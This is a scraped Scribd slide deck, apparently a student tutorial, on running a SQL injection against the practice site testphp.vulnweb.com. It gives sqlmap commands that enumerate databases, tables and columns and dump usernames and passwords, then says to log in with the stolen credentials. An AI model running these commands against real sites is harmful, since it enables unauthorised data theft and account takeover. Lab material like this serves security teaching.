0% found this document useful (0 votes)
2 views

SQL Injection

The document outlines a SQL injection attack on a vulnerable web application by manipulating the URL to test for vulnerabilities. It provides step-by-step commands using sqlmap to enumerate databases, tables, and columns, ultimately allowing the attacker to dump sensitive data such as usernames and passwords. The process concludes with instructions to log in using the compromised credentials.

Uploaded by

gnaneshbanka2005
Copyright
© © All Rights Reserved
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2 views

SQL Injection

The document outlines a SQL injection attack on a vulnerable web application by manipulating the URL to test for vulnerabilities. It provides step-by-step commands using sqlmap to enumerate databases, tables, and columns, ultimately allowing the attacker to dump sensitive data such as usernames and passwords. The process concludes with instructions to log in using the compromised credentials.

Uploaded by

gnaneshbanka2005
Copyright
© © All Rights Reserved
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
You are on page 1/ 12

SQL INJECTION

ATTACK
Open any web webapplication, where in URL php id is admin
eg. Open “testphp.vulnweb.com”
Select artists
To test site is vulnerable or not add a “ apostrophe(‘) OR %27 ” in URL
Site is vulnerable, because here I am able to get reply on modified php
queries!!!
Now on kali open sqlmap on kali Linux.
To enumerate databases of website
-> Copy url and enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

This command has fetched all the databases available:-


-> acuart
-> Inormation_schema
To enumerate tables from the databases
enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D “acuart"
--tables

Note:- while adding option –D add specific database name, from where you want to fetch all the
tables.
To get columns
enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D “acuart"
–T “users” --columns

Note:- while adding option –T add specific user name, from where you want to fetch all the columns.
To dump
To get data from different columns enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D "acuart" -T
"users" -C uname,name,pass,email.cc --dump

With the help of dump command we got username and password details.
Note:- while adding option –C add specific column names, to dump the data.
Now open signup page and fill id and password to login

You might also like